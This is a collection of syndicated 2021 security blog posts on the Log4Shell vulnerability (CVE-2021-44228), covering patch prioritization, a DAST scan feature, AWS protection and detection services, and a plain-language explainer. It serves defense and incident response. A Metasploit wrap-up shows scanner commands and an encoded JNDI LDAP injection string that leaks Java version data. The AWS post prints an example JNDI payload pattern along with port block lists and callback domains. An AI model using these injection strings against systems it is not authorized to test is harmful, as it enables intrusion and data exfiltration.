A proactive process would first involve having well-documented use of any such library versions internally in an inventory, so that discoverability and traceability are much more narrowly focused efforts. If you conduct authenticated vulnerability scans continuously on pre-scheduled frequencies, this will also help with identification of third-party software utilizing this library over time. Classifying system criticality within the vulnerability management tool will help you more effectively scale future remediation processes.

These proactive processes help jumpstart an initial response, but you’ll still need reactive efforts to help ensure effective and timely remediation. Vulnerability scanning tools will receive signature updates regarding this newly discovered vulnerability, which will require updating your vulnerability management tool and initiating one-off alternative scans that may deviate from pre-scheduled rotations. These alternative scans should include tiered phases, so the most critical systems receive scan priority, and then remaining systems are scanned in order of criticality. Leveraging the pre-existing system criticality classification will significantly expedite this process.

A security incident and event management (SIEM) tool can also assist with identifying, tracking, and alerting for any suspicious activity that may be tied to exploitation of this vulnerability. Host agents and network detection systems that report back to the SIEM should be closely monitored, and any activity or traffic that deviates from baselines should receive an active response. You may need to adjust logging and alerting rules and thresholds to ensure your efforts are strategically focused.

Tactical processes help you achieve this continuous identification, but you still need to orchestrate and execute them through strategic planning to remain timely, efficient, and effective. Well-documented asset inventories and appropriate system criticality classifications help you prioritize your efforts, while continuous vulnerability scans and leveraging vulnerability management and SIEM tools help to identify, track, and manage vulnerability exposure. Leadership should provide the direction to guide these activities from inception to implementation through effective communication and allocation of resources. Lay out a short-term roadmap for tracking objectives and quick wins as part of the remediation process, so you can quickly and concisely show how you’re tracking toward goals.

3. Implement prioritization and mitigation

Now that your team has successfully identified all affected systems, you’ll need to roll out patches to those systems on a continuous basis during the next phase to mitigate risk. Current enterprise-wide patching timelines may require adjustment due to the urgency associated with such critical vulnerabilities. Patch testing and rollout phases must be expedited to support a more timely and effective response.

Much like conducting our vulnerability scans in terms of system criticality prioritization, our patch management response should follow a similar approach, with the caveat that a pilot group or pilot system deemed non-critical should be patched first for testing purposes to ensure no adverse effects prior to rolling out patches in order of system criticality. If you’ve configured a full test environment is configured, you can test patches on critical systems first within that environment and then roll them out in production according to criticality. The testing timeline itself should be reduced throughout all standard phases of a testing cycle — you may even need to eliminate certain testing phases altogether. The rollout timelines for patches across all systems will need to be expedited as well to ensure as timely coverage as possible. If your environment has widespread use of the vulnerable library, you may require reductions in timelines of anywhere from 25% to 50%.

Emergency patching procedures should provide for timely testing and production rollouts within roughly half the time of a normal patching cycle, or 5 to 10 days at a maximum for critical systems to minimize breach potential as quickly as possible. Also keep in mind that some vulnerabilities may involve more than just application of a simple patch — configuration changes may also be necessary to further mitigate potential exploitation by an adversary.

4. Validate remediation

Now, you’ve deployed patches to all affected systems, so the mitigation efforts are complete, right? While you may want to shift your focus back to other tasks, it’s essential to maintain continuous identification processes to ensure that no stone remains unturned.

The vulnerability management validation phase leverages those reactive identification processes, in addition to patch management processes, to assist in efficient and effective vulnerability remediation for affected systems. This stage involves re-scanning initially identified vulnerable systems to assess successful patch application and performing additional open scans of the network to ensure that there are no lingering systems that may still be affected by the vulnerability but weren’t originally identified — or perhaps weren’t successfully patched as part of the patch management process. This cycle of continuous validation will remain in effect until “clean” scans are reported across the enterprise regarding this vulnerability.

Since the Log4j logging library is widely used throughout many enterprise applications and even unknowingly embedded in so many others, continuous validation will become crucial in ensuring your organization remains vigilant and can mitigate the vulnerability quickly and effectively as you continue to discover affected systems.

5. Regularly review risks

A vulnerability management lifecycle rarely ever comes to a true end. As adversaries and security evangelists further evaluate a specific vulnerability over time, new methods of exploitation are identified, affected versions increase in scope and scale, and recent patches and fixes are found to be ineffective. This leaves organizations potentially open to exposure and at a loss for the best path forward. Continuous review of the trends surrounding an ongoing critical vulnerability will help organizations ensure they remain both aware of the impact and the current mitigating measures that have been most successful. Additionally, leveraging other solutions can help further identify and launch a coordinated defense-in-depth response to any potential malicious activity that may be associated with such vulnerabilities.

Working to continuously identify, mitigate, validate, and review vulnerabilities throughout their inevitable course will require commitment and fortitude to achieve the best results, but once the tides have subsided with Log4Shell and you’ve successfully and securely endured one of the worst security vulnerability exposures in a decade by following these processes, you can rest assured that your incident response processes were well-tested during this endeavor — and your IT security budget should be more than solidified for the next few years to come.

Check out our additional resources for further insight of this vulnerability, mitigating measures, and tools available to assist.

NEVER MISS A BLOG

Get the latest stories, expertise, and news about security today.

Test for Log4Shell With InsightAppSec Using New Functionality

2021-12-22 Bria Grangard

Post Syndicated from Bria Grangard original https://blog.rapid7.com/2021/12/22/test-for-log4shell-with-insightappsec-using-new-functionality/

Test for Log4Shell With InsightAppSec Using New Functionality

We can all agree at this point that the Log4Shell vulnerability (CVE-2021-44228) can rightfully be categorized as a celebrity vulnerability. Security teams have been working around the clock investigating whether they have instances of Log4j in their environment. You are likely very familiar with everything regarding Log4Shell, but if you are looking for more information, you can check out our Everyperson’s Guide to Log4Shell (CVE-2021-44228). In this blog, we will share how Rapid7 customers can test for Log4Shell with InsightAppSec.

Testing for Log4Shell with InsightAppSec

With InsightAppSec, our dynamic application security testing (DAST) solution, customers can assess the risk of their applications. InsightAppSec allows you to configure various attacks of your applications to identify response behaviors that make your applications more vulnerable to attacks. These attacks are run during scans that you can customize based on your needs. In this case, we’ve introduced a new default attack template for Out of Band Injection specific to Log4Shell attacks.

What’s this mean? Customers can now run an Out of Band Attack Injection from our default template, which includes an attack type for Log4Shell. The new default Out of Band attack template in InsightAppSec will perform sophisticated web application attacks that do not rely on traditional HTTP request-response interactions. Our Log4Shell vulnerability detection will simulate an attacker on your website. InsightAppSec will validate the exploitability of the application and the associated risk.

How to run a Log4Shell attack in InsightAppSec

You can scan for this new Out of Band attack using either a new attack template we have created or by creating your own custom attack template and selecting this new attack module. We have added some highlights below, but you can find a detailed guide via our help docs.

Attack templates

Out of Band Injection attack template

Test for Log4Shell With InsightAppSec Using New Functionality

Out of band Log4Shell attack module

Run a scan

Scan Config

Depending on the choice of either using the new Out of Band Injection attack template or creating your own custom attack module, you now need to choose this template on your scan config and run a scan against your selected app(s).

Scan results

Now you run your scan, you can review your scan results to see if your app(s) have any findings that could be exposed as per the details in CVE-2021-44228.

What’s next?

Though official mitigation steps are changing as new information arises, we recommend for Java 8+ applications, upgrade your Log4j libraries to the latest version (currently 2.17.0) to fix any new issues as they are discovered. Application using Java 7 should upgrade Log4j to at least version 2.212.2 If you’re looking to validate any fixes have been implemented, feel free to run a validation scan with InsightAppSec to verify the fixes have been made.

If you’re looking for additional information on how Rapid7 can help support you during this time, check out our Log4j resource hub.

Metasploit Wrap-Up

2021-12-18 Alan David Foster

Post Syndicated from Alan David Foster original https://blog.rapid7.com/2021/12/17/metasploit-wrap-up-143/

Log4Shell – Log4j HTTP Scanner

Metasploit Wrap-Up

Versions of Apache Log4j impacted by CVE-2021-44228 which allow JNDI features used in configuration, log messages, and parameters, do not protect against attacker controlled LDAP and other JNDI related endpoints.

This module will scan an HTTP endpoint for the Log4Shell vulnerability by injecting a format message that will trigger an LDAP connection to Metasploit. This module is a generic scanner and is only capable of identifying instances that are vulnerable via one of the pre-determined HTTP request injection points.

This module has been successfully tested with:

Apache Solr
Apache Struts2
Spring Boot

Example usage:

msf6 > use auxiliary/scanner/http/log4shell_scanner 
msf6 auxiliary(scanner/http/log4shell_scanner) > set RHOSTS 192.168.159.128
RHOSTS => 192.168.159.128
msf6 auxiliary(scanner/http/log4shell_scanner) > set SRVHOST 192.168.159.128
SRVHOST => 192.168.159.128
msf6 auxiliary(scanner/http/log4shell_scanner) > set RPORT 8080
RPORT => 8080
msf6 auxiliary(scanner/http/log4shell_scanner) > set TARGETURI /struts2-showcase/
TARGETURI => /struts2-showcase/
msf6 auxiliary(scanner/http/log4shell_scanner) > run
[*] Started service listener on 192.168.159.128:389 
[+] Log4Shell found via /struts2-showcase/%24%7bjndi%3aldap%3a%24%7b%3a%3a-/%7d/192.168.159.128%3a389/r7yol50kgg7be/%24%7bsys%3ajava.vendor%7d_%24%7bsys%3ajava.version%7d%7d/ (java: BellSoft_11.0.13)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/http/log4shell_scanner) >

For more details, please see the official Rapid7 Log4Shell CVE-2021-44228 analysis.

New module content (2)

Log4Shell HTTP Scanner by Spencer McIntyre, which exploits CVE-2021-44228 – This module performs a generic scan of a given target for the Log4Shell vulnerability by injecting it into a series of Header fields as well as the URI path.
WordPress WPS Hide Login Login Page Revealer by h00die and thalakus, which exploits CVE-2021-24917 – A new PR for CVE-2021-24917 was added, which is an information disclosure bug in WPS Hide Login WordPress plugin before 1.9.1. This vulnerability allows unauthenticated users to get the secret login page by setting a random referer string and making a request to /wp-admin/options.php. Additionally, several WordPress modules were updated to more descriptively report which plugin they found as being vulnerable on a given target.

Enhancements and features

#15842 from adfoster-r7 – Several libraries within the lib folder have now been updated to declare Meterpreter compatibility requirements, which will allow users to more easily determine when they are using a library that the current session does not support.
#15936 from cmaruti – The wordlists for Tomcat Manager have been updated with new default usernames and passwords that can be used by various scanner and exploit modules when trying to find and exploit Tomcat Manager installations with default usernames and/or passwords.
#15944 from sjanusz-r7 – Adds long form option names to the sessions command, for example sessions --upgrade 1
#15965 from adfoster-r7 – Adds a TCP URI scheme for setting RHOSTS, which allows one to specify the username, password, and the port if it’s specified as a string such as tcp://user:a b [email protected] which would translate into the username user, password a b c, and host example.com on the default port used by the module in question.

Bugs fixed

#15779 from k0pak4 – The code of lib/msf/core/auxiliary/report.rb has been improved to fix an error whereby the report_vuln() would crash if vuln was nil prior to calling framework.db.report_vuln_attempt(). This has been fixed by checking the value of vuln and raising a ValidationError if it’s set to nil.
#15945 from zeroSteiner – This change fixes the Meterpreter > ls command, in the case where one of the files or folders within the listed folder was inaccessible.
#15952 from sjanusz-r7 – This PR adds a fix for the creds -d command which crashed on some NTLM hashes.
#15957 from sjanusz-r7 – A bug existed whereby a value was not correctly checked to ensure it was not nil prior to being used when saving credentials with Kiwi. This has been addressed by adding improved error checking and handling.
#15963 from adfoster-r7 – A bug has been fixed that prevented users using Go 1.17 from being able to run Go modules within Metasploit. Additionally the boot process has been altered so that messages about modules not loading are now logged to disk so as to not confuse users about errors in modules that they don’t plan to use.

Get it

As always, you can update to the latest Metasploit Framework with msfupdate
and you can get more details on the changes since the last blog post from
GitHub:

If you are a git user, you can clone the Metasploit Framework repo (master branch) for the latest.
To install fresh without using git, you can use the open-source-only Nightly Installers or the
binary installers (which also include the commercial edition).

Using AWS security services to protect against, detect, and respond to the Log4j vulnerability

2021-12-16 Marshall Jones

Post Syndicated from Marshall Jones original https://aws.amazon.com/blogs/security/using-aws-security-services-to-protect-against-detect-and-respond-to-the-log4j-vulnerability/

January 7, 2022: The blog post has been updated to include using Network ACL rules to block potential log4j-related outbound traffic.

January 4, 2022: The blog post has been updated to suggest using WAF rules when correct HTTP Host Header FQDN value is not provided in the request.

December 31, 2021: We made a minor update to the second paragraph in the Amazon Route 53 Resolver DNS Firewall section.

December 29, 2021: A paragraph under the Detect section has been added to provide guidance on validating if log4j exists in an environment.

December 23, 2021: The GuardDuty section has been updated to describe new threat labels added to specific finding to give log4j context.

December 21, 2021: The post includes more info about Route 53 Resolver DNS query logging.

December 20, 2021: The post has been updated to include Amazon Route 53 Resolver DNS Firewall info.

December 17, 2021: The post has been updated to include using Athena to query VPC flow logs.

December 16, 2021: The Respond section of the post has been updated to include IMDSv2 and container mitigation info.

This blog post was first published on December 15, 2021.

Overview

In this post we will provide guidance to help customers who are responding to the recently disclosed log4j vulnerability. This covers what you can do to limit the risk of the vulnerability, how you can try to identify if you are susceptible to the issue, and then what you can do to update your infrastructure with the appropriate patches.

The log4j vulnerability (CVE-2021-44228, CVE-2021-45046) is a critical vulnerability (CVSS 3.1 base score of 10.0) in the ubiquitous logging platform Apache Log4j. This vulnerability allows an attacker to perform a remote code execution on the vulnerable platform. Version 2 of log4j, between versions 2.0-beta-9 and 2.15.0, is affected.

The vulnerability uses the Java Naming and Directory Interface (JNDI) which is used by a Java program to find data, typically through a directory, commonly a LDAP directory in the case of this vulnerability.

Figure 1, below, highlights the log4j JNDI attack flow.

Figure 1. Log4j attack progression. Source: GovCERT.ch, the Computer Emergency Response Team (GovCERT) of the Swiss government

As an immediate response, follow this blog and use the tool designed to hotpatch a running JVM using any log4j 2.0+. Steve Schmidt, Chief Information Security Officer for AWS, also discussed this hotpatch.

Protect

You can use multiple AWS services to help limit your risk/exposure from the log4j vulnerability. You can build a layered control approach, and/or pick and choose the controls identified below to help limit your exposure.

AWS WAF

Use AWS Web Application Firewall, following AWS Managed Rules for AWS WAF, to help protect your Amazon CloudFront distribution, Amazon API Gateway REST API, Application Load Balancer, or AWS AppSync GraphQL API resources.

AWSManagedRulesKnownBadInputsRuleSet esp. the Log4JRCE rule which helps inspects the request for the presence of the Log4j vulnerability. Example patterns include ${jndi:ldap://example.com/}.
AWSManagedRulesAnonymousIpList esp. the AnonymousIPList rule which helps inspect IP addresses of sources known to anonymize client information.
AWSManagedRulesCommonRuleSet, esp. the SizeRestrictions_BODY rule to verify that the request body size is at most 8 KB (8,192 bytes).

You should also consider implementing WAF rules that deny access, if the correct HTTP Host Header FQDN value is not provided in the request. This can help reduce the likelihood of scanners that are scanning the internet IP address space from reaching your resources protected by WAF via a request with an incorrect Host Header, like an IP address instead of an FQDN. It’s also possible to use custom Application Load Balancer listener rules to achieve this.

If you’re using AWS WAF Classic, you will need to migrate to AWS WAF or create custom regex match conditions.

Have multiple accounts? Follow these instructions to use AWS Firewall Manager to deploy AWS WAF rules centrally across your AWS organization.

Amazon Route 53 Resolver DNS Firewall

You can use Route 53 Resolver DNS Firewall, following AWS Managed Domain Lists, to help proactively protect resources with outbound public DNS resolution. We recommend associating Route 53 Resolver DNS Firewall with a rule configured to block domains on the AWSManagedDomainsMalwareDomainList, which has been updated in all supported AWS regions with domains identified as hosting malware used in conjunction with the log4j vulnerability. AWS will continue to deliver domain updates for Route 53 Resolver DNS Firewall through this list.

Also, you should consider blocking outbound port 53 to prevent the use of external untrusted DNS servers. This helps force all DNS queries through DNS Firewall and ensures DNS traffic is visible for GuardDuty inspection. Using DNS Firewall to block DNS resolution of certain country code top-level domains (ccTLD) that your VPC resources have no legitimate reason to connect out to, may also help. Examples of ccTLDs you may want to block may be included in the known log4j callback domains IOCs.

We also recommend that you enable DNS query logging, which allows you to identify and audit potentially impacted resources within your VPC, by inspecting the DNS logs for the presence of blocked outbound queries due to the log4j vulnerability, or to other known malicious destinations. DNS query logging is also useful in helping identify EC2 instances vulnerable to log4j that are responding to active log4j scans, which may be originating from malicious actors or from legitimate security researchers. In either case, instances responding to these scans potentially have the log4j vulnerability and should be addressed. GreyNoise is monitoring for log4j scans and sharing the callback domains here. Some notable domains customers may want to examine log activity for, but not necessarily block, are: *interact.sh, *leakix.net, *canarytokens.com, *dnslog.cn, *.dnsbin.net, and *cyberwar.nl. It is very likely that instances resolving these domains are vulnerable to log4j.

AWS Network Firewall

Customers can use Suricata-compatible IDS/IPS rules in AWS Network Firewall to deploy network-based detection and protection. While Suricata doesn’t have a protocol detector for LDAP, it is possible to detect these LDAP calls with Suricata. Open-source Suricata rules addressing Log4j are available from corelight, NCC Group, from ET Labs, and from CrowdStrike. These rules can help identify scanning, as well as post exploitation of the log4j vulnerability. Because there is a large amount of benign scanning happening now, we recommend customers focus their time first on potential post-exploitation activities, such as outbound LDAP traffic from their VPC to untrusted internet destinations.

We also recommend customers consider implementing outbound port/protocol enforcement rules that monitor or prevent instances of protocols like LDAP from using non-standard LDAP ports such as 53, 80, 123, and 443. Monitoring or preventing usage of port 1389 outbound may be particularly helpful in identifying systems that have been triggered by internet scanners to make command and control calls outbound. We also recommend that systems without a legitimate business need to initiate network calls out to the internet not be given that ability by default. Outbound network traffic filtering and monitoring is not only very helpful with log4j, but with identifying other classes of vulnerabilities too.

Network Access Control Lists

Customers may be able to use Network Access Control List rules (NACLs) to block some of the known log4j-related outbound ports to help limit further compromise of successfully exploited systems. We recommend customers consider blocking ports 1389, 1388, 1234, 12344, 9999, 8085, 1343 outbound. As NACLs block traffic at the subnet level, careful consideration should be given to ensure any new rules do not block legitimate communications using these outbound ports across internal subnets. Blocking ports 389 and 88 outbound can also be helpful in mitigating log4j, but those ports are commonly used for legitimate applications, especially in a Windows Active Directory environment. See the VPC flow logs section below to get details on how you can validate any ports being considered.

Use IMDSv2

Through the early days of the log4j vulnerability researchers have noted that, once a host has been compromised with the initial JDNI vulnerability, attackers sometimes try to harvest credentials from the host and send those out via some mechanism such as LDAP, HTTP, or DNS lookups. We recommend customers use IAM roles instead of long-term access keys, and not store sensitive information such as credentials in environment variables. Customers can also leverage AWS Secrets Manager to store and automatically rotate database credentials instead of storing long-term database credentials in a host’s environment variables. See prescriptive guidance here and here on how to implement Secrets Manager in your environment.

To help guard against such attacks in AWS when EC2 Roles may be in use — and to help keep all IMDS data private for that matter — customers should consider requiring the use of Instance MetaData Service version 2 (IMDSv2). Since IMDSv2 is enabled by default, you can require its use by disabling IMDSv1 (which is also enabled by default). With IMDSv2, requests are protected by an initial interaction in which the calling process must first obtain a session token with an HTTP PUT, and subsequent requests must contain the token in an HTTP header. This makes it much more difficult for attackers to harvest credentials or any other data from the IMDS. For more information about using IMDSv2, please refer to this blog and documentation. While all recent AWS SDKs and tools support IMDSv2, as with any potentially non-backwards compatible change, test this change on representative systems before deploying it broadly.

Detect

This post has covered how to potentially limit the ability to exploit this vulnerability. Next, we’ll shift our focus to which AWS services can help to detect whether this vulnerability exists in your environment.

Figure 2. Log4j finding in the Inspector console

Amazon Inspector

As shown in Figure 2, the Amazon Inspector team has created coverage for identifying the existence of this vulnerability in your Amazon EC2 instances and Amazon Elastic Container Registry Images (Amazon ECR). With the new Amazon Inspector, scanning is automated and continual. Continual scanning is driven by events such as new software packages, new instances, and new common vulnerability and exposure (CVEs) being published.

For example, once the Inspector team added support for the log4j vulnerability (CVE-2021-44228 & CVE-2021-45046), Inspector immediately began looking for this vulnerability for all supported AWS Systems Manager managed instances where Log4j was installed via OS package managers and where this package was present in Maven-compatible Amazon ECR container images. If this vulnerability is present, findings will begin appearing without any manual action. If you are using Inspector Classic, you will need to ensure you are running an assessment against all of your Amazon EC2 instances. You can follow this documentation to ensure you are creating an assessment target for all of your Amazon EC2 instances. Here are further details on container scanning updates in Amazon ECR private registries.

GuardDuty

In addition to finding the presence of this vulnerability through Inspector, the Amazon GuardDuty team has also begun adding indicators of compromise associated with exploiting the Log4j vulnerability, and will continue to do so. GuardDuty will monitor for attempts to reach known-bad IP addresses or DNS entries, and can also find post-exploit activity through anomaly-based behavioral findings. For example, if an Amazon EC2 instance starts communicating on unusual ports, GuardDuty would detect this activity and create the finding Behavior:EC2/NetworkPortUnusual. This activity is not limited to the NetworkPortUnusual finding, though. GuardDuty has a number of different findings associated with post exploit activity, such as credential compromise, that might be seen in response to a compromised AWS resource. For a list of GuardDuty findings, please refer to this GuardDuty documentation.

To further help you identify and prioritize issues related to CVE-2021-44228 and CVE-2021-45046, the GuardDuty team has added threat labels to the finding detail for the following finding types:

Backdoor:EC2/C&CActivity.B
If the IP queried is Log4j-related, then fields of the associated finding will include the following values:

service.additionalInfo.threatListName = Amazon
service.additionalInfo.threatName = Log4j Related

Backdoor:EC2/C&CActivity.B!DNS
If the domain name queried is Log4j-related, then the fields of the associated finding will include the following values:

service.additionalInfo.threatListName = Amazon
service.additionalInfo.threatName = Log4j Related

Behavior:EC2/NetworkPortUnusual
If the EC2 instance communicated on port 389 or port 1389, then the associated finding severity will be modified to High, and the finding fields will include the following value:

service.additionalInfo.context = Possible Log4j callback

Figure 3. GuardDuty finding with log4j threat labels

Security Hub

Many customers today also use AWS Security Hub with Inspector and GuardDuty to aggregate alerts and enable automatic remediation and response. In the short term, we recommend that you use Security Hub to set up alerting through AWS Chatbot, Amazon Simple Notification Service, or a ticketing system for visibility when Inspector finds this vulnerability in your environment. In the long term, we recommend you use Security Hub to enable automatic remediation and response for security alerts when appropriate. Here are ideas on how to setup automatic remediation and response with Security Hub.

VPC flow logs

Customers can use Athena or CloudWatch Logs Insights queries against their VPC flow logs to help identify VPC resources associated with log4j post exploitation outbound network activity. Version 5 of VPC flow logs is particularly useful, because it includes the “flow-direction” field. We recommend customers start by paying special attention to outbound network calls using destination port 1389 since outbound usage of that port is less common in legitimate applications. Customers should also investigate outbound network calls using destination ports 1388, 1234, 12344, 9999, 8085, 1343, 389, and 88 to untrusted internet destination IP addresses. Free-tier IP reputation services, such as VirusTotal, GreyNoise, NOC.org, and ipinfo.io, can provide helpful insights related to public IP addresses found in the logged activity.

Note: If you have a Microsoft Active Directory environment in the captured VPC flow logs being queried, you might see false positives due to its use of port 389.

Validation with open-source tools

With the evolving nature of the different log4j vulnerabilities, it’s important to validate that upgrades, patches, and mitigations in your environment are indeed working to mitigate potential exploitation of the log4j vulnerability. You can use open-source tools, such as aws_public_ips, to get a list of all your current public IP addresses for an AWS Account, and then actively scan those IPs with log4j-scan using a DNS Canary Token to get notification of which systems still have the log4j vulnerability and can be exploited. We recommend that you run this scan periodically over the next few weeks to validate that any mitigations are still in place, and no new systems are vulnerable to the log4j issue.

Respond

The first two sections have discussed ways to help prevent potential exploitation attempts, and how to detect the presence of the vulnerability and potential exploitation attempts. In this section, we will focus on steps that you can take to mitigate this vulnerability. As we noted in the overview, the immediate response recommended is to follow this blog and use the tool designed to hotpatch a running JVM using any log4j 2.0+. Steve Schmidt, Chief Information Security Officer for AWS, also discussed this hotpatch.

Figure 4. Systems Manager Patch Manager patch baseline approving critical patches immediately

AWS Patch Manager

If you use AWS Systems Manager Patch Manager, and you have critical patches set to install immediately in your patch baseline, your EC2 instances will already have the patch. It is important to note that you’re not done at this point. Next, you will need to update the class path wherever the library is used in your application code, to ensure you are using the most up-to-date version. You can use AWS Patch Manager to patch managed nodes in a hybrid environment. See here for further implementation details.

Container mitigation

To install the hotpatch noted in the overview onto EKS cluster worker nodes AWS has developed an RPM that performs a JVM-level hotpatch which disables JNDI lookups from the log4j2 library. The Apache Log4j2 node agent is an open-source project built by the Kubernetes team at AWS. To learn more about how to install this node agent, please visit the this Github page.

Once identified, ECR container images will need to be updated to use the patched log4j version. Downstream, you will need to ensure that any containers built with a vulnerable ECR container image are updated to use the new image as soon as possible. This can vary depending on the service you are using to deploy these images. For example, if you are using Amazon Elastic Container Service (Amazon ECS), you might want to update the service to force a new deployment, which will pull down the image using the new log4j version. Check the documentation that supports the method you use to deploy containers.

If you’re running Java-based applications on Windows containers, follow Microsoft’s guidance here.

We recommend you vend new application credentials and revoke existing credentials immediately after patching.

Mitigation strategies if you can’t upgrade

In case you either can’t upgrade to a patched version, which disables access to JDNI by default, or if you are still determining your strategy for how you are going to patch your environment, you can mitigate this vulnerability by changing your log4j configuration. To implement this mitigation in releases >=2.10, you will need to remove the JndiLookup class from the classpath: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class.

For a more comprehensive list about mitigation steps for specific versions, refer to the Apache website.

Conclusion

In this blog post, we outlined key AWS security services that enable you to adopt a layered approach to help protect against, detect, and respond to your risk from the log4j vulnerability. We urge you to continue to monitor our security bulletins; we will continue updating our bulletins with our remediation efforts for our side of the shared-responsibility model.

Given the criticality of this vulnerability, we urge you to pay close attention to the vulnerability, and appropriately prioritize implementing the controls highlighted in this blog.

If you have feedback about this post, submit comments in the Comments section below.

Want more AWS Security news? Follow us on Twitter.

The Everyperson’s Guide to Log4Shell (CVE-2021-44228)

2021-12-15 boB Rudis

Post Syndicated from boB Rudis original https://blog.rapid7.com/2021/12/15/the-everypersons-guide-to-log4shell-cve-2021-44228/

The Everyperson’s Guide to Log4Shell (CVE-2021-44228)

If you work in security, the chances are that you have spent the last several days urgently responding to the Log4Shell vulnerability (CVE-2021-44228), investigating where you have instances of Log4j in your environment, and questioning your vendors about their response. You have likely already read up on the implications and steps that need to be taken. This blog is for everyone else who wants to understand what’s going on and why the internet seems to be on fire again. And for you security professionals, we’ve also included some questions on the broader implications and long term view. You know, for all that spare time you have right now.

What is Log4Shell?

Log4Shell — also known as CVE-2021-44228 — is a critical vulnerability that enables remote code execution in systems using the Apache Foundation’s Log4j, which is an open-source Java library that is extensively used in commercial and open-source software products and utilities. For a more in-depth technical assessment of Log4Shell check out Rapid7’s AttackerKB analysis.

What is Log4j?

Log4j is one of the most common tools for sending text to be stored in log files and/or databases. It is used in millions of applications and websites in every organization all across the internet. For example, information is sent to keep track of website visitors, note when warnings or errors occur in processing, and help support teams’ triage problems.

Get answers to your Log4Shell questions from our experts

So what’s the problem?

It turns out that Log4j doesn’t just log plain strings. Text strings that are formatted a certain way will be executed just like a line from a computer program. The problem is that this allows malicious actors to manipulate computers all over the internet into taking actions without the computer owners’ wishes or permission. Cyberattacks can use this to steal information, force actions, or extort the computer owners or operators.

This vulnerability is what we’re referring to as Log4Shell, or CVE-2021-44228. Log4j is the vulnerable technology. As this is a highly evolving situation, you can always head over to our main live blog on Log4Shell.

Is it really that big of a deal?

In a word, yes.

Caitlin Kiska, an information security engineer at Cardinal Health, put it this way: “Imagine there is a specific kind of bolt used in most of the cars and car parts in the world, and they just said that bolt needs to be replaced.” Glenn Thorpe, Rapid7’s Emergent Threat Response Manager added, “… and the presence of that bolt allows anyone to just take over the car.”

The first issue is Log4j’s widespread use. This little tool is used in countless systems across the internet, which makes remediation or mitigation of this into a huge task — and makes it more likely something might get missed.

The second issue is that attackers can use it in a variety of ways, so the sky is sort of the limit for them.

Perhaps the biggest concern of all is that it’s actually pretty easy to use the vulnerability for malicious purposes. Remote code execution vulnerabilities are always concerning, but you hope that they will be complicated to exploit and require specialist technical skill, limiting who can take advantage of them and slowing down the pace of attacks so that defenders can ideally take remediation action first. That’s not the case with Log4Shell. The Log4j tool is designed to send whatever data is inputted in the right format, so as long as attackers know how to form their commands into that format (which is not a secret), they can take advantage of this bug, and they currently are doing just that.

That sounds pretty bad. Is the situation hopeless?

Definitely not. The good news is that the Apache Foundation has updated Log4j to address the vulnerability. All organizations urgently need to check for the presence of this vulnerability in their environment and update affected systems to the latest patched version.

The first update — version 2.15.0 — was released on December 6, 2021. As exploitation ramped up in the wild, it became clear that the update did not fully remediate the issue in all use cases, a vulnerability that the National Vulnerability Database (NVD) codified as CVE-2021-45046.

As a result, on December 13, the Apache Foundation released version 2.16.0, which completely removes support for message lookup patterns, thus slamming the door on JNDI functionality completely and possibly adding to development team backlogs to update material sections on their codebase that handle logging.

That sounds straightforward, right?

Unfortunately, it’s likely going to be a pretty huge undertaking and likely require different phases of discovery and remediation/mitigation.

Remediation

The first course of action is to identify all vulnerable applications, which can be a mix of vendor-supplied solutions and in-house developed applications. NCSC NL is maintaining a list of impacted software, but organizations are encouraged to monitor vendor advisories and releases directly for the most up-to-date information.

For in-house developed applications, organizations — at a minimum — need to update their Log4j libraries to the latest version (which, as of 2021-12-14, is 2.16) and apply the mitigations described in Rapid7’s initial blog post on CVE-2021-44228, which includes adding a parameter to all Java startup scripts and strongly encourages updating Java virtual machine installations to the latest, safest versions. An additional resource, published by the Apache Security Team, provides a curated list of all affected Apache projects, which can be helpful to expedite identification and discovery.

If teams are performing “remote” checks (i.e., exploiting the vulnerability remotely as an attacker would) versus local filesystems “authenticated” checks, the remote checks should be both by IP address and by fully qualified domain name/virtual host name, as there may be different routing rules in play that scanning by IP address alone will not catch.

These mitigations must happen everywhere there is a vulnerable instance of Log4j. Do not assume that the issue applies only to internet-facing systems or live-running systems. There may be batch jobs that run hourly, daily, weekly, monthly, etc., on stored data that may contain exploit strings that could trigger execution.

Forensics

Attacks have been active since at least December 1, 2021, and there is evidence this weakness has been known about since at least March of 2021. Therefore, it is quite prudent to adopt an “assume breach” mindset. NCSC NL has a great resource page on ways you can detect exploitation attempts from application log files. Please be aware that this is not just a web-based attack. Initial, quite public, exploit showcases included changing the name of iOS devices and Tesla cars. Both those companies regularly pull metadata from their respective devices, and it seems those strings were passed to Log4j handlers somewhere in the processing chain. You should review logs from all internet-facing systems, as well as anywhere Log4j processing occurs.

Exploitation attempts will generally rely on pulling external resources in (as is the case with any attack after gaining initial access), so behavioral detections may have already caught or stopped some attacks. The Log4j weakness allows for rather clever data exfiltration paths, especially DNS. Attackers are pulling values from environment variables and files with known filesystems paths and creating dynamic domain names from them. That means organizations should review DNS query logs going as far back as possible. Note: This could take quite a bit of time and effort, but it must be done to ensure you’re not already a victim.

Proactive response

Out of an abundance of caution, organizations should also consider re-numbering critical IP segments (where Log4j lived), changing host names on critical systems (where Log4j lived), and resetting credentials — especially those associated with Amazon AWS and other cloud providers — in the event they have already been exfiltrated.

Who should be paying attention to this?

Pretty much every organization, regardless of size, sector, or geography. If you have any kind of web presence or internet connectivity, you need to pay attention and check your status. If you outsource all the technical aspects of your business, ask your vendors what they are doing about this issue.

Who is exploiting it and how?

Kind of… everyone.

“Benign” researchers (some independent, some part of cybersecurity firms) are using the exploit to gain an initial understanding of the base internet-facing attack surface.

Cyberattackers are also very active and are racing to take advantage of this vulnerability before organizations can get their patches in place. Botnets, such as Mirai, have been adapted to use the exploit code to both exfiltrate sensitive data and gain initial access to systems (some deep within organizations).

Ransomware groups have already sprung into action and weaponized the Log4j weakness to compromise organizations. Rapid7’s Project Heisenberg is collecting and publishing samples of all the unique attempts seen since December 11, 2021.

How are things likely to develop?

These initial campaigns are only the beginning. Sophisticated attacks from more serious and capable groups will appear over the coming days, weeks, and months, and they’ll likely focus on more enterprise-grade software that is known to be vulnerable.

Most of the initial attack attempts are via website-focused injection points (input fields, search boxes, headers, etc.). There will be more advanced campaigns that hit API endpoints (even “hidden” APIs that are part of company mobile apps) and try to find sneaky ways to get exploit strings past gate guards (like the iOS device renaming example).

